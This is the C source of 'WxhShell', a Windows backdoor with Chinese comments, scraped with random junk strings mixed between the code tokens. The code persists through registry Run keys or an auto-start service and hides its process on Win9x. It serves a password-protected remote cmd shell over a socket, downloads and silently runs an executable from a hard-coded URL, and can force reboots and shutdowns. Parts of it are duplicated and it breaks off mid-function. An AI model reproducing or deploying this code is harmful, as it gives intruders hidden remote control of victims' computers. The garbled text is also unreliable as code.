rh^ cjY-y-vO g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6MW{,N g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P+sW[: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3?yg\ (CL%>5V if (!NtQueryInformationProcess) return 0; l'qg8 D_7,m%Z: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T-L||yE,h if(!hProcess) return 0; dT8S~-d% X?',n
1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :cECRm* }X6m:#6 CloseHandle(hProcess); $%Kfq[Q BO&bmfp7, hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3hH<T.@) if(hProcess==NULL) return 0; b%`1cV ;'K5J9k HMODULE hMod; w&#]-|$ char procName[255]; &z3o7rif$ unsigned long cbNeeded; 0d&6lqTo NI]N4[8( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SfyQ$$Z CRE3icXbQ CloseHandle(hProcess); 'H!Uh]! BU_nh+dF if(strstr(procName,"services")) return 1; // 以服务启动 AT3Mlz~7# tNI^@xdim1 return 0; // 注册表启动 8nJpp } dn3y\ m(!FHPvN // 主模块 Fxz"DZY6 int StartWxhshell(LPSTR lpCmdLine) fr3d { y%T_pTcU SOCKET wsl; SnfYT)Ph BOOL val=TRUE; \2$|Ei7 int port=0; \8cx6 G' struct sockaddr_in door; w@E3ZL^ niyV8v if(wscfg.ws_autoins) Install(); tWRC$ 9A=,E& port=atoi(lpCmdLine); 4HlQ&2O%# M2Qr(K| if(port<=0) port=wscfg.ws_port; (A#^l=su VONDc1%ga WSADATA data; eauF~md, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0h_|t-9j T8g$uFo if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /x$ nje,. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;_(4Q*Yx door.sin_family = AF_INET; Q2gq}c~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); TeM|:o door.sin_port = htons(port); QWYJ* lo+A%\1 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :F?C)F closesocket(wsl); 4B.*g-L return 1; &8lZNv8;(p } e7 o.xR 3w'tH4C[Y if(listen(wsl,2) == INVALID_SOCKET) { Nf\LN$ &8 closesocket(wsl); o+'6`g'8 return 1; 0l6.<-f{ } (<9u-HF# Wxhshell(wsl);
8A#;WG WSACleanup(); 4hj|cCrO =^?/+p8k return 0; SXh-A1t ^\m![T\bX } !N^@4* }SZd // 以NT服务方式启动 d=/F}yP~?s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OyIw>Wfv { SpBy3wd DWORD status = 0; sI2^Qp@O1 DWORD specificError = 0xfffffff; c:('W16 6 u6x serviceStatus.dwServiceType = SERVICE_WIN32; Q>z8IlJ} serviceStatus.dwCurrentState = SERVICE_START_PENDING; o8MZiU1Xf serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %BODkc Zh serviceStatus.dwWin32ExitCode = 0; DlJo^|5 serviceStatus.dwServiceSpecificExitCode = 0; sLk-x\P]| serviceStatus.dwCheckPoint = 0; DY*N|OnqJ serviceStatus.dwWaitHint = 0; ]?4hyN |.dRily+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zH
r_!~ if (hServiceStatusHandle==0) return; 3so%gvY.' "dlVk~ status = GetLastError(); z$sGv19pB if (status!=NO_ERROR) 0g;|y4SN= { 1Y,Z
%d serviceStatus.dwCurrentState = SERVICE_STOPPED; a+QpM*n7Lq serviceStatus.dwCheckPoint = 0; !)$Zp\Sg serviceStatus.dwWaitHint = 0; LP=)~K< serviceStatus.dwWin32ExitCode = status;
\=o- serviceStatus.dwServiceSpecificExitCode = specificError; 6eCCmIdaM SetServiceStatus(hServiceStatusHandle, &serviceStatus); %so]L+r2! return; '+
?X } L/[K" :T~ [ serviceStatus.dwCurrentState = SERVICE_RUNNING; An@t?#4gxi serviceStatus.dwCheckPoint = 0; dRMx[7jVA serviceStatus.dwWaitHint = 0; B5QFK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v@pky0 } X3&
Jb2c2 jiGTA:v // 处理NT服务事件,比如:启动、停止 2<6UwF VOID WINAPI NTServiceHandler(DWORD fdwControl) TA\vZGJ(' { c@Is2
9t* switch(fdwControl) W*G<X.Hf { Ort(AfW case SERVICE_CONTROL_STOP: OrW serviceStatus.dwWin32ExitCode = 0; \7_y%HR serviceStatus.dwCurrentState = SERVICE_STOPPED; n"8Yv~v*2j serviceStatus.dwCheckPoint = 0; {..6>fS serviceStatus.dwWaitHint = 0; n{jGOfc { D+c>F5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); jWgX_//! } {{1G`;|v9 return; YYS0` case SERVICE_CONTROL_PAUSE:
b2*TgnRq serviceStatus.dwCurrentState = SERVICE_PAUSED; iRBfx break; X-/]IHDN case SERVICE_CONTROL_CONTINUE: (?];VG serviceStatus.dwCurrentState = SERVICE_RUNNING; BLFdHB.$T break; tX[WH\(xI case SERVICE_CONTROL_INTERROGATE: ';"VDLb3 break; T4F/w|Q }; z!\*Y
=e SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xc.`-J~Il } 0}9h]X' s[ N@0 // 标准应用程序主函数 @]0%L0u int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .]Z"C&"N] { k=^xVQuI @nf`Gw ; // 获取操作系统版本 DwF hK* OsIsNt=GetOsVer(); $Q0n GetModuleFileName(NULL,ExeFile,MAX_PATH); Va8&Z 6B-16 // 从命令行安装 9 $X- if(strpbrk(lpCmdLine,"iI")) Install(); =M-p/uB] q(}bfIf // 下载执行文件 ]^]wP]R_ if(wscfg.ws_downexe) { ce(#2o&` if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N g,j# WinExec(wscfg.ws_filenam,SW_HIDE); w
= KPT''! } p[cX O= WhDJ7{D if(!OsIsNt) { .V*^|UXbHi // 如果时win9x,隐藏进程并且设置为注册表启动 D{!IW!w HideProc(); v0y(58Rz. StartWxhshell(lpCmdLine); j.YA2mr } |hQ;l|SWg else ~K=b\xc^ if(StartFromService()) 9FX-1,Jx // 以服务方式启动 W>LR\]Ti@ StartServiceCtrlDispatcher(DispatchTable); n:X y6H else @XVTU // 普通方式启动 m kexc~l StartWxhshell(lpCmdLine); W8<%[-r _G0x3 return 0; s @C}P } r/1(]#kOX \Cj B1]I yHGADH0B Mfs?x
a =========================================== @@%ataUSBT 0`hdMLONR rs.)CMk53 ME dWLFf Ls%MGs9PI [!z,lY> " +q oRP2 ix$bRdl #include <stdio.h> f5r0\7y0 #include <string.h> 626r^c= #include <windows.h> xfQ1T)F3g #include <winsock2.h> ]{iQ21`a- #include <winsvc.h> $^P0F9~0 #include <urlmon.h> 4Up/p&1@ ]-q;4. #pragma comment (lib, "Ws2_32.lib") ;aBG,dr}i #pragma comment (lib, "urlmon.lib") g){<y~Mk B3BN`mdn> #define MAX_USER 100 // 最大客户端连接数 Uv.)?YeGh #define BUF_SOCK 200 // sock buffer ise-O1' #define KEY_BUFF 255 // 输入 buffer +0~YP*I`/ ,)XLq8 #define REBOOT 0 // 重启 Y7aqO5 #define SHUTDOWN 1 // 关机 /\Ef%@ @VBcJ{e, #define DEF_PORT 5000 // 监听端口 dscgj5b1~ +H.`MZ= #define REG_LEN 16 // 注册表键长度 TO_e^A# #define SVC_LEN 80 // NT服务名长度 ""H?gsL[ WM{=CD // 从dll定义API RpK@?[4s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G"6 !{4g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zTp"AuNHN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KP"+e:a% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U17d>]ka 74u&%Rj // wxhshell配置信息 ?CZd Ol struct WSCFG { GmG5[?) int ws_port; // 监听端口 g\U-VZ6;p char ws_passstr[REG_LEN]; // 口令 6mE\OS-I int ws_autoins; // 安装标记, 1=yes 0=no d1*<Ll9K char ws_regname[REG_LEN]; // 注册表键名 F:VIzyMq< char ws_svcname[REG_LEN]; // 服务名 4W])}C % char ws_svcdisp[SVC_LEN]; // 服务显示名 O8o3O
6[Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 DqPw#<"H char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =vPj%oLp'a int ws_downexe; // 下载执行标记, 1=yes 0=no ~@!bsLSMU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;`Z{7'^U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T+$[eWk"a ?5p>BER? }; \!(zrfP{( >sF)BoLc // default Wxhshell configuration BWNi [^] struct WSCFG wscfg={DEF_PORT, fOHxtHM "xuhuanlingzhe", bLL2 1, @d_M@\r=j "Wxhshell", RNL9>7xV "Wxhshell", Y@v>FlqI{ "WxhShell Service", ;|RTx "Wrsky Windows CmdShell Service", .X&9Q9T=# "Please Input Your Password: ", -4K5-|>O 1, /}$+uBgJm "http://www.wrsky.com/wxhshell.exe", #G3<7PK "Wxhshell.exe" gIfh3 D=yX }; ~,Qp^"rlW *i,%,O96Nz // 消息定义模块 *Ly6`HZ9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7^Uv7<pw char *msg_ws_prompt="\n\r? for help\n\r#>"; y}
'@R$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TvM~y\s char *msg_ws_ext="\n\rExit."; "tZe>>I char *msg_ws_end="\n\rQuit."; :3PH8TL char *msg_ws_boot="\n\rReboot...";
y7{?Ip4[ char *msg_ws_poff="\n\rShutdown..."; GY*p?k<i char *msg_ws_down="\n\rSave to "; l] vm=7: Q59suL char *msg_ws_err="\n\rErr!"; #Y!a6h+ char *msg_ws_ok="\n\rOK!"; 3q.q
YX F@t3!bj9 char ExeFile[MAX_PATH]; mv><HqDL1 int nUser = 0; sA~]$A;DM! HANDLE handles[MAX_USER]; 5-V pJ int OsIsNt; mDWG7 Asp im8 CmQ SERVICE_STATUS serviceStatus; wzA$'+Mb SERVICE_STATUS_HANDLE hServiceStatusHandle; zA 3_Lx! y-k.U% // 函数声明 e.> P8C<& int Install(void); 4*L_)z&4; int Uninstall(void); D9df=lv
mD int DownloadFile(char *sURL, SOCKET wsh); #E?4E1bnB int Boot(int flag); "Q0@/bYq void HideProc(void); #WuBL_nZ~ int GetOsVer(void); !if int Wxhshell(SOCKET wsl); 0sqFF[i void TalkWithClient(void *cs); }C:r9?T int CmdShell(SOCKET sock); w
xH7?tsf int StartFromService(void); Q8NX)R int StartWxhshell(LPSTR lpCmdLine);
XX@ZQcN '%qr.T
% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [GR;?R5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); EPm/r pRqx`5 } // 数据结构和表定义 sx%[=g+<2( SERVICE_TABLE_ENTRY DispatchTable[] = eDMO]5}Ht { i. "v4D {wscfg.ws_svcname, NTServiceMain}, rsQtMtS2 {NULL, NULL} -~0^P,yQ }; S!UaH>Rh ^#$n~]s // 自我安装 ]'}L 1r int Install(void) !Ee:o"jG{ { x4 yR8n( char svExeFile[MAX_PATH]; \<' ?8ri# HKEY key;
}pYqWTG strcpy(svExeFile,ExeFile); .3;;;K9a~] KHme&yMq // 如果是win9x系统,修改注册表设为自启动 TxD#9]Q` if(!OsIsNt) { +2{Lh7Ks if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Oz95 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6N4~~O RegCloseKey(key); L_T5nD^D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $I=~S[p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V&5wRz+`W RegCloseKey(key); wj,=$RX return 0; 3n _htgcv } @5FQX } #a6iuO0I } b;n[mk
else { ! mHO$bQ" >A= f1DF // 如果是NT以上系统,安装为系统服务 X8|, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0S"MC9beg if (schSCManager!=0) h0$iOE { t0S1QC+ SC_HANDLE schService = CreateService dH!*!r> ( Y7|EIAU5Y schSCManager, #e"[^_C@! wscfg.ws_svcname, 5O%{{J wscfg.ws_svcdisp, qm}@!z^ SERVICE_ALL_ACCESS, +[VXs~I
q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p{_" bB SERVICE_AUTO_START, :X=hQ:>P SERVICE_ERROR_NORMAL, Y]>t[Lo% svExeFile, _)8s'MjA:& NULL, ;uJMG NULL, jd:6:Fm NULL, *wearCPeJ NULL, M]^5 s;y NULL ;l+Leex
); # d if (schService!=0) Vr}'.\$ { l#o
~W` CloseServiceHandle(schService); .A|udZ, CloseServiceHandle(schSCManager); )5,v!X) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =bOW~0Z1 strcat(svExeFile,wscfg.ws_svcname); )`:UP~)H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Ze1s02( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \e*]Ls#jS RegCloseKey(key); 0kh6@y3 return 0; M%HU4pTW#o } I9Xuok!0>= } ye&;(30Oq CloseServiceHandle(schSCManager); T)/eeZ$ } 0J9x9j`&j } o/E >f_k[ jcOcWB| return 1; 1}x%%RD_ } K?;DMUSY\ b6bHTH0 // 自我卸载 (QEG4&9 int Uninstall(void) +7Gwg { QRUz`|U HKEY key; [0!( xp^ 01]f2.5 if(!OsIsNt) { d{?LD?,) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [txE .7p RegDeleteValue(key,wscfg.ws_regname); j#|ZP-=1_ RegCloseKey(key); vh^VxS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q9"96({\@ RegDeleteValue(key,wscfg.ws_regname); @d'j zs RegCloseKey(key); e'~3oqSvR return 0; zhQJy?>'m } 7!1S)dup } B,@i } (PLUFT else { $Sq:q0 )lkjqFQ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `Di{}/2 if (schSCManager!=0) Oketwa { J.a]K[ci SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x2xRBkRg= if (schService!=0) V3Bz
Mw\9r { Gc?a +T if(DeleteService(schService)!=0) { _BufO7`. CloseServiceHandle(schService); YK_7ip.a[ CloseServiceHandle(schSCManager); )~>YH*g return 0; U^PgG|0N } dtDFoETz CloseServiceHandle(schService); /ZX}Nc g } 6ujWNf CloseServiceHandle(schSCManager); cAw/I@jG } Yy8g(bU } 4W75T2q# 2?C)& return 1; 97Vtn4N3 } /vt3>d%B; :gv"M8AP // 从指定url下载文件 F59 TZI int DownloadFile(char *sURL, SOCKET wsh) W9&=xs6 { }e1ZbmW HRESULT hr; w0.
u\ char seps[]= "/"; + {]j]OP char *token; WJi]t9 3 char *file; ]Ljf?tk char myURL[MAX_PATH]; %d@z39-; char myFILE[MAX_PATH]; [),ige C!gZN9- strcpy(myURL,sURL); F|8& token=strtok(myURL,seps); Py<}S-: while(token!=NULL) gGYKEq{j( { +`4A$#$+y file=token; T{"(\X$ token=strtok(NULL,seps); 6]N.%Y[( } kZ~~/?B 9r9NxKuAO GetCurrentDirectory(MAX_PATH,myFILE); Z+SRXKQ strcat(myFILE, "\\"); \U0Q<ot/7 strcat(myFILE, file); S:}7q2: send(wsh,myFILE,strlen(myFILE),0); +T ?NH9 send(wsh,"...",3,0); }V>T M{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Om&Dw|xG8 if(hr==S_OK) MV"=19] return 0; #yen8SskB else 4-w{BZuS return 1; "@kaHIf[ 6!o1XQr=Z } buC{r, $b\P|#A // 系统电源模块 bt *k.=p int Boot(int flag) -j(6;9"7]| { _F{C\} HANDLE hToken; ~&O%N TOKEN_PRIVILEGES tkp; =N@t'fOr }]TxlSp!; if(OsIsNt) { G$PE}%X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k)u[0} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =Qq+4F)MD tkp.PrivilegeCount = 1; Xj*Wu_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6@f-Glwg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vl]>u+YqE if(flag==REBOOT) { :&Nbw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p_ =z# return 0; G3]4A&h9v~ } 0:+E-^X else { DI vHvFss if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i4Jc.8^9$ return 0; oU|c.mYe } |qLh5Ty } =41xkAMnk else { 8MBAtVmy if(flag==REBOOT) { V]&\fk-{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R]dg_Da return 0; d-m7}2c } l:%GH else { NI5``BwpO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n%-0V> return 0; E]6
6]+;0_ } 0V]s:S } l%ZhA=TKQ J1kM\8%b\ return 1; mmsPLv6 } wBzC5T%, ]9L
oZ) // win9x进程隐藏模块 fVwUe _Y void HideProc(void) Q\)F;: | { p<2,=*2 *"kM{*3:v HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BY*Q_Et if ( hKernel != NULL ) E4!Fupkpf { %\DX#. pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GfG|&VNlz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'S~5"6r FreeLibrary(hKernel); ~
1 pr~ } *=n:- l~.-e^p? return; JRFtsio* } )+M0Y_r g>sSS8RO // 获取操作系统版本 z2c6T.1M int GetOsVer(void) HDKbF/ { P4?glh q# OSVERSIONINFO winfo; ddo#P%sH' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7rA;3?p) GetVersionEx(&winfo); 8Y3I0S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y]imZ4{/ return 1; }%z else aT<q=DO return 0; eFAnFJ][L } "j-CZ\]U| r/sNrB1U"y // 客户端句柄模块 U&xUfBDt int Wxhshell(SOCKET wsl) H-%v3d>3 { q=G+Tocv SOCKET wsh; G`zm@QL struct sockaddr_in client; .2pK.$. DWORD myID; Ah<+y\C $"&JWT!# while(nUser<MAX_USER) {)"vN(mX { xpI wrJO int nSize=sizeof(client); P$sxr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {T8Kk)L if(wsh==INVALID_SOCKET) return 1; m68*y;# V:27)]q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S$k&vc(0 if(handles[nUser]==0) +{>=^9%X closesocket(wsh); K>9 ()XT) else fatf*}eln nUser++; >MK98(F } {U1m.30n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sr}E+qf H1T.(M/" return 0; 6Iw\c } TKjFp% ~4"dweu? // 关闭 socket o.\oA6P_ void CloseIt(SOCKET wsh) !wp3!bLp { <1pEwI~ closesocket(wsh); ]HdCt 3X nUser--; V+~Nalm O ExitThread(0); )jC%a6G! } Ewm9\qmg 3~\[7I/ // 客户端请求句柄 <1%$Vq void TalkWithClient(void *cs) 8X0z~& { 80;(Gt@<" uGt-l4 SOCKET wsh=(SOCKET)cs; njw|JnDv char pwd[SVC_LEN];
FC*[* char cmd[KEY_BUFF]; `lPfb[b char chr[1]; ipILG4 int i,j; :L;a:xSpn= "\=U)CJ while (nUser < MAX_USER) { "vGW2~*) D-4f.Tq4# if(wscfg.ws_passstr) { JLi|Td"1% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ty`DJO=Omj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CP{cAzHO //ZeroMemory(pwd,KEY_BUFF); @I*{f i=0; |CzSU1ma while(i<SVC_LEN) { ]_f<kW\1* 2m[<]$ // 设置超时 6R5Qy]]E fd_set FdRead; ;GI&lpKK struct timeval TimeOut; Z)\@i=m FD_ZERO(&FdRead); K@#L)VT! FD_SET(wsh,&FdRead); :@)>r9N TimeOut.tv_sec=8; MS]r:X6 TimeOut.tv_usec=0; ]7mt[2Cd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gdoLyxQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -gWZwW/lD PT9*)9<L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Faf&U%]*` pwd=chr[0]; ~nPtlrQa#* if(chr[0]==0xd || chr[0]==0xa) { %#}Z y
pwd=0; qv"$Bd:]r break; o lxByzTh> } O<\@~U i++; j)GtEP<n# } * H9 8Du W];dD$Oqg // 如果是非法用户,关闭 socket m_l[MG\ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A4ygW: } P2*<GjV`S/ "T"h)L< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ##o#eZq:" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ow#1="G,= 42{:G8 while(1) { ; Hd7*`$ 1r7y]FyH$ ZeroMemory(cmd,KEY_BUFF); [sb[Z:
MxGW(p // 自动支持客户端 telnet标准 #u
+ v_ j=0; _,d~}_$`i while(j<KEY_BUFF) { @fV9
S"TcM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 69 o7EA cmd[j]=chr[0]; .}`Ix'. if(chr[0]==0xa || chr[0]==0xd) { 6(e>P) cmd[j]=0; :\}(&
> break; 2[;_d;oB @ } QVE6We j++; nQ L@hc } 6u}</>} r)6M!_]AW // 下载文件 Z`BK/:vo3H if(strstr(cmd,"http://")) { -
CWywuD send(wsh,msg_ws_down,strlen(msg_ws_down),0); y|q3Wa if(DownloadFile(cmd,wsh)) ?NP1y9Y]i send(wsh,msg_ws_err,strlen(msg_ws_err),0); rc>6.sM
% else \B
7tX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )];K .zP } C{bgkzr else { Uv~QUL3> n\.V qe switch(cmd[0]) { LYg-
.~<I {GcO3G#FZ // 帮助 ,i@:5X/t case '?': { K}U-w:{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WSY}d
Vr break; PAOJ\U } !7&5` q7 // 安装 ,-e{(L case 'i': { .K<Q& if(Install()) ED&
`_h7? send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Qk4 else kn"(A.R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f0aKlhEC break; gOOPe5+ J } Vl!6W@g // 卸载 (NnH:J` case 'r': { 0k(a VkZ I if(Uninstall()) 19KQlMO.G send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9]wN Bd else m7>JJX3=< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [\b0Lem break; 8&Y^""#e) } ~<OSYb // 显示 wxhshell 所在路径 L`EBfz\n case 'p': { )Iq <+IJ char svExeFile[MAX_PATH]; :Qf '2.h) strcpy(svExeFile,"\n\r"); w(TJ*::T strcat(svExeFile,ExeFile); QW~1%` send(wsh,svExeFile,strlen(svExeFile),0); V}NbuvDB@ break; 1|6%evPu( } nL.<[]r // 重启 J{&H+rd case 'b': { ig':%2V/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oh\<VvZuN if(Boot(REBOOT)) A7hVHxNJ- send(wsh,msg_ws_err,strlen(msg_ws_err),0); g!z&~Z: else { ^B2
-) closesocket(wsh); klR|6u]% ExitThread(0); fLm*1S|%\ } |WdPE@P break; \`\ZTZni } B i<Q=x'Z; // 关机 hzbw>g+ case 'd': { Wh2tNyS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v+=BCyT if(Boot(SHUTDOWN)) 3nnJ8zQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eue~Y+K*b else {
}sO&. ME closesocket(wsh); \K]0JH ExitThread(0); FzXJ]H } eSmLf*\G break; h_IDO% } ""QP% // 获取shell 'xg
Lt( case 's': { U\<?z Dw CmdShell(wsh); 7y@Pa&^8 closesocket(wsh); )$bS}. ExitThread(0); do+.aOC break; kO*$"w#X[p } TLe~y1dwY= // 退出 "?I y (*^ case 'x': {
2WVka send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (<oyN7NT CloseIt(wsh); ?r 2` Q break; LRG6:& } &wE%<"aRAl // 离开 fG(SNNl+D case 'q': { TNh1hhJ$b send(wsh,msg_ws_end,strlen(msg_ws_end),0); #PQB(=299P closesocket(wsh); BC<^a )D= WSACleanup(); \:ak '' exit(1); |(LZ9I break; dg"3rs /?A } J9iy } X;c'[q } o/Q;f@ !pdb'*,n // 提示信息 KOuCHqCfq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p\ZNy\N^ } Q &K } rOOT8nkR# I4q9|'-yx return; ,lA s } 6@0OQb -Z
Ugx$ // shell模块句柄 CxG#"{& int CmdShell(SOCKET sock) 6WJ)by { Om@C
X<(9C STARTUPINFO si; :GP]P^M;G@ ZeroMemory(&si,sizeof(si)); ApV~(k)W si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~C`^6UQr/? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ssxzC4m PROCESS_INFORMATION ProcessInfo; scou%K char cmdline[]="cmd"; GV69eG3bX# CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q;JM$a?5iV return 0; ^R
Fp8w( } 474SMx$ #(JNn'fzq // 自身启动模式 4 k _vdz int StartFromService(void) .QJ5sgmh { c~uKsU typedef struct 4f'V8|QM{ { Y+*0~xm4 DWORD ExitStatus; O-I[igNl DWORD PebBaseAddress; q):5JXql~ DWORD AffinityMask; 9-DZU,`P DWORD BasePriority; A.F738Zp{Z ULONG UniqueProcessId; :~T99^$zA ULONG InheritedFromUniqueProcessId; dCk3;XU } PROCESS_BASIC_INFORMATION; n}G|/v<
FZ,#0ZYJGP PROCNTQSIP NtQueryInformationProcess; 78# v +M$Q
=6/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;n=.>s*XL' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HxK80mJ `a/%W4 HANDLE hProcess; t@N=kV PROCESS_BASIC_INFORMATION pbi; @u]rWVy;\[ \$e)*9) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *b/`Ya4 if(NULL == hInst ) return 0; E5xzy/ZQ iIa'2+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ve/<=IR
Zo g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _5# y06Q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oz`BEyb]{ 8b-Q F
if (!NtQueryInformationProcess) return 0; A?%H=>v$ r)~ T@'y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Vq\`+&A if(!hProcess) return 0;
G]i/nB
s<_)$} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }O^zl# K]0:?h;%Ld CloseHandle(hProcess); f[a}aZ9) ahOM CZF| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ps%q9}J if(hProcess==NULL) return 0; `t9?=h! dEA6 HMODULE hMod; @&:ar char procName[255]; X{'q24\F unsigned long cbNeeded; pd7NF-KD -
